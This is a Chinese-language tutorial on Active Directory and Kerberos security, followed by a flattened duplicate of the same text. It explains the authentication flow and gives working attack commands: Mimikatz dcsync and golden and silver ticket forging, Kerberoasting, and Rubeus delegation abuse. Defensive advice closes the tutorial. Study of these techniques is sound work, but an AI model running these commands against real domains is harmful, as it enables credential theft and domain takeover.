Kerberos Security
字数 1792 2025-08-06 08:35:19

Kerberos安全协议深入解析

1. Active Directory基础

Active Directory (AD) 是微软Windows Server中负责大型网络环境集中式目录管理的服务,主要特点包括:

  • 一切皆对象:计算机、用户、用户组、策略等
  • 依赖多种协议:DNS、LDAP、Kerberos、NetBIOS、MS-RPC、NTLM等
  • 提供各种目录服务

2. AD核心协议

2.1 DNS

AD极度依赖DNS服务,通过SRV记录识别服务:

  • _gc._tcp - 全局目录
  • _ldap._tcp - LDAP服务器
  • _kerberos._tcp - KDC
  • _kpasswd._tcp - Kerberos密码变更服务

定位域控方法:

nmap -Pn --script dns-srv-enum --script-args "dns-srv-enum.domain='pentestlab.com'"
net time /domain
nslookup
nltest /dclist:domainname

2.2 LDAP

轻量级目录访问协议,开放标准:

  • 端口:389(LDAP)、636(LDAPS)
  • 数据组织方式:CN(Common name)、DC(域的组成)、OU(组织单元)

常用查询命令:

ldapsearch -LLL -x -H ldap://pentestlab.com -D "wing@pentestlab.com" -w "密码" -b dc=pentestlab,dc=com "(objectClass=user)" sAMAccountName

2.3 Kerberos

网络认证协议,特点:

  • 基于对称密码学
  • 需要可信第三方(KDC)
  • 可扩展支持公钥密码学

3. Kerberos认证详解

3.1 核心组件

  • AS(Authentication Server): 认证服务器
  • KDC(Key Distribution Center): 密钥分发中心
  • TGT(Ticket Granting Ticket): 票据授权票据
  • TGS(Ticket Granting Server): 票据授权服务器
  • SS(Service Server): 特定服务提供端

3.2 认证流程

  1. AS-REQ: 客户端请求TGT

    • 客户端发送用密码加密的时间戳(Authenticator)
    • AS验证用户存在性
  2. AS-REP: AS返回响应

    • 包含Session Key和TGT(用KDC密钥加密)
  3. TGS-REQ: 客户端请求服务票据

    • 包含TGT和用Session Key加密的Authenticator
  4. TGS-REP: TGS返回服务票据

    • 包含服务Session Key和服务票据
  5. AP-REQ: 客户端访问服务

    • 使用服务Session Key和服务票据

3.3 PAC机制

特权属性证书(Privilege Attribute Certificate):

  • 确定域内用户权限
  • 基于用户SID和组SID
  • 通过KRB_AS_REP传递

4. Kerberos安全攻击手法

4.1 MS14-068漏洞

原理:

  • AS-REQ请求未对签名做要求
  • 客户端可伪造PAC
  • KDC允许伪造PAC并使用指定算法解密

复现步骤:

  1. 生成伪造票据
  2. 导入内存
  3. 获取域控权限

4.2 黄金票据(Golden Ticket)

伪造TGT的条件:

  • Domain SID
  • Domain name
  • krbtgt用户hash
  • 任意用户名

生成方法(Mimikatz):

lsadump::dcsync /user:krbtgt
kerberos::golden /user:Administrator /domain:pentestlab.com /sid:S-1-5-21-xxx /krbtgt:hash /ptt

特点:

  • 可持久化(默认10小时有效期)
  • 管理员无法注销,只能等待过期

4.3 白银票据(Silver Ticket)

伪造服务票据:

  • 不需要krbtgt密码
  • 需要目标服务账户hash
  • 只能访问指定服务

生成方法:

kerberos::golden /domain:pentestlab.com /sid:xx-xxx-xxx-xx /target:servername /service:Service类型 /rc4:hash /user:wing /ptt

4.4 SPN扫描与破解

SPN(ServicePrincipal Names)使服务与服务账号关联。

扫描方法:

# 使用GetUserSPNs.ps1脚本
Import-Module .\GetUserSPNs.ps1

破解TGS票据:

  1. 请求TGT
  2. 导出hash
  3. 使用tgsrepcrack或hashcat破解

4.5 委派攻击

非约束委派(Unconstrained delegation)

  • 服务可代表用户访问任何其他服务
  • 查找方法:
    Get-NetComputer -Unconstrained
    Get-NetUser -Unconstrained
    

约束委派(Constrained delegation)

  • 限制服务代表用户访问特定服务
  • 使用S4U2Self和S4U2Proxy扩展
  • 查找方法:
    Get-DomainUser -TrustedToAuth
    

攻击方法(Rubeus):

Rubeus.exe s4u /user:wing /rc4:hash /impersonateuser:administrator /msdsspn:cifs/mssql.pentestlab.com /altservice:cifs /ptt

5. 防御建议

  1. 定期轮换krbtgt账户密码
  2. 监控异常Kerberos活动
  3. 限制委派权限
  4. 启用高级审计策略
  5. 实施最小权限原则
  6. 监控SPN变更
  7. 使用受保护用户组

6. 参考工具

  1. Impacket工具包
  2. Mimikatz
  3. Rubeus
  4. PowerView
  5. ldapsearch
  6. Wireshark(用于流量分析)

通过深入理解Kerberos协议及其安全机制,安全人员可以更好地防御域环境中的各种攻击,同时也能从攻击者角度发现潜在的安全隐患。

Kerberos安全协议深入解析 1. Active Directory基础 Active Directory (AD) 是微软Windows Server中负责大型网络环境集中式目录管理的服务,主要特点包括: 一切皆对象:计算机、用户、用户组、策略等 依赖多种协议:DNS、LDAP、Kerberos、NetBIOS、MS-RPC、NTLM等 提供各种目录服务 2. AD核心协议 2.1 DNS AD极度依赖DNS服务,通过SRV记录识别服务: _gc._tcp - 全局目录 _ldap._tcp - LDAP服务器 _kerberos._tcp - KDC _kpasswd._tcp - Kerberos密码变更服务 定位域控方法: 2.2 LDAP 轻量级目录访问协议,开放标准: 端口:389(LDAP)、636(LDAPS) 数据组织方式:CN(Common name)、DC(域的组成)、OU(组织单元) 常用查询命令: 2.3 Kerberos 网络认证协议,特点: 基于对称密码学 需要可信第三方(KDC) 可扩展支持公钥密码学 3. Kerberos认证详解 3.1 核心组件 AS(Authentication Server): 认证服务器 KDC(Key Distribution Center): 密钥分发中心 TGT(Ticket Granting Ticket): 票据授权票据 TGS(Ticket Granting Server): 票据授权服务器 SS(Service Server): 特定服务提供端 3.2 认证流程 AS-REQ : 客户端请求TGT 客户端发送用密码加密的时间戳(Authenticator) AS验证用户存在性 AS-REP : AS返回响应 包含Session Key和TGT(用KDC密钥加密) TGS-REQ : 客户端请求服务票据 包含TGT和用Session Key加密的Authenticator TGS-REP : TGS返回服务票据 包含服务Session Key和服务票据 AP-REQ : 客户端访问服务 使用服务Session Key和服务票据 3.3 PAC机制 特权属性证书(Privilege Attribute Certificate): 确定域内用户权限 基于用户SID和组SID 通过KRB_ AS_ REP传递 4. Kerberos安全攻击手法 4.1 MS14-068漏洞 原理: AS-REQ请求未对签名做要求 客户端可伪造PAC KDC允许伪造PAC并使用指定算法解密 复现步骤: 生成伪造票据 导入内存 获取域控权限 4.2 黄金票据(Golden Ticket) 伪造TGT的条件: Domain SID Domain name krbtgt用户hash 任意用户名 生成方法(Mimikatz): 特点: 可持久化(默认10小时有效期) 管理员无法注销,只能等待过期 4.3 白银票据(Silver Ticket) 伪造服务票据: 不需要krbtgt密码 需要目标服务账户hash 只能访问指定服务 生成方法: 4.4 SPN扫描与破解 SPN(ServicePrincipal Names)使服务与服务账号关联。 扫描方法: 破解TGS票据: 请求TGT 导出hash 使用tgsrepcrack或hashcat破解 4.5 委派攻击 非约束委派(Unconstrained delegation) 服务可代表用户访问任何其他服务 查找方法: 约束委派(Constrained delegation) 限制服务代表用户访问特定服务 使用S4U2Self和S4U2Proxy扩展 查找方法: 攻击方法(Rubeus): 5. 防御建议 定期轮换krbtgt账户密码 监控异常Kerberos活动 限制委派权限 启用高级审计策略 实施最小权限原则 监控SPN变更 使用受保护用户组 6. 参考工具 Impacket工具包 Mimikatz Rubeus PowerView ldapsearch Wireshark(用于流量分析) 通过深入理解Kerberos协议及其安全机制,安全人员可以更好地防御域环境中的各种攻击,同时也能从攻击者角度发现潜在的安全隐患。